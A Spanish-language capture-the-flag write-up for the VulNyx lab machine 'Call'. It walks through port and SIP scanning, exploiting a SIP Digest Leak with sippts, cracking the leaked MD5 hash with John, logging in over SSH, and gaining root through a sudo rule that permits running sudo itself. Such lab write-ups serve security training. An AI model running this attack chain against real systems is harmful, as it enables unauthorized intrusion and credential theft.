VulNyx - Call
- SIP Digest Leak - (sippts.py)
- Brute Force Hash MD5 - (John)
- Abusing Su Binary - (Sudo/Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.32 -oG ports
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80 172.0.100.32 -oN servicios
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.61 ((Debian))
|_http-title: CallMe
|_http-server-header: Apache/2.4.61 (Debian)
HTTP TCP - 80
Escaneo de puertos UDP
❯ nmap -sU --top-ports 100 -v 172.0.100.32
PORT STATE SERVICE
68/udp open|filtered dhcpc
5060/udp open|filtered sip
Busco sip 5060 en Hacktricks.
Después de leer información básica sobre como enumerar y atacar el protocolo VoIP descargo e instalo sippts. Sippts es una herramienta creada por el Sr Pepelux para auditar servidores y dispositivos VoIP que utilicen el protocolo SIP. Para instalar la herramienta he seguido los pasos del repositorio.
Con el comando scan
y la flag -i
realizo un escaneo rápido al protocolo SIP.
Con enumerate
enumero los métodos disponibles del servidor SIP.
En la ayuda de la herramienta veo el comando leak el cual me llama la atención.
leak Exploit SIP Digest Leak vulnerability
Busco en internet SIP Digest Leak vulnerability y me encuentro con esta web donde explica de que se trata esta vulnerabilidad la cual puedo explotar con el comando leak
. Finalmente obtengo un nombre de usuario llamado phone y una contraseña cifrada en MD5.
Con JohnTheRipper obtengo la contraseña.
❯ john password_MD5 --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
t******** (?)
Me conecto al sistema.
❯ ssh phone@172.0.100.32
phone@172.0.100.32's password:
phone@call:~$ id
uid=1000(phone) gid=1000(phone) grupos=1000(phone)
Enumero permisos de sudo.
phone@call:~$ sudo -l
Matching Defaults entries for phone on call:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User phone may run the following commands on call:
(root) NOPASSWD: /usr/bin/sudo
Obtengo el root de la siguiente forma.
phone@call:~$ sudo /usr/bin/sudo su
root@call:/home/phone# id
uid=0(root) gid=0(root) grupos=0(root)
Y aquí termina la máquina Call.
Saludos!